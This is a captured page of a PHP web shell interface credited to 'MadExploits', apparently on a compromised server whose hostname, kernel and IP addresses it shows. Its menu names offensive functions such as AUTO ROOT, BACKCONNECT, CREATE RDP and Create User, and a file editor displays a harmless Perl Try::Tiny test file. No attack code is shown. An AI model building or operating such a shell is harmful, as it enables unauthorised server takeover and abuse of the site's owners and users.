Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.222.98.29
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Try-Tiny-0.12 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
basic.t
2.91
KB
-rw-r--r--
context.t
1.22
KB
-rw-r--r--
finally.t
1.74
KB
-rw-r--r--
given_when.t
566
B
-rw-r--r--
when.t
521
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : context.t
use strict; use warnings; use Test::More; BEGIN { plan tests => 1 # use_ok + (4+1) * 2 # list/scalar with exception (try + catch + 2 x finally) + is_deeply + 4 # void with exception + (3+1) * 2 # list/scalar no exception (try + 2 x finally) + is_deeply + 3 # void no exception ; use_ok 'Try::Tiny'; } my $ctx_index = { VOID => undef, LIST => 1, SCALAR => '', }; my ($ctx, $die); for (sort keys %$ctx_index) { $ctx = $_; for (0,1) { $die = $_; if ($ctx_index->{$ctx}) { is_deeply( [ run() ], [ $die ? 'catch' : 'try' ], ); } elsif (defined $ctx_index->{$ctx}) { is_deeply( [ scalar run() ], [ $die ? 'catch' : 'try' ], ); } else { run(); 1; } } } sub run { try { is (wantarray, $ctx_index->{$ctx}, "Proper context $ctx in try{}"); die if $die; return 'try'; } catch { is (wantarray, $ctx_index->{$ctx}, "Proper context $ctx in catch{}"); return 'catch'; } finally { is (wantarray, undef, "Proper VOID context in finally{} 1"); return 'finally'; } finally { is (wantarray, undef, "Proper VOID context in finally{} 2"); return 'finally'; }; }
Close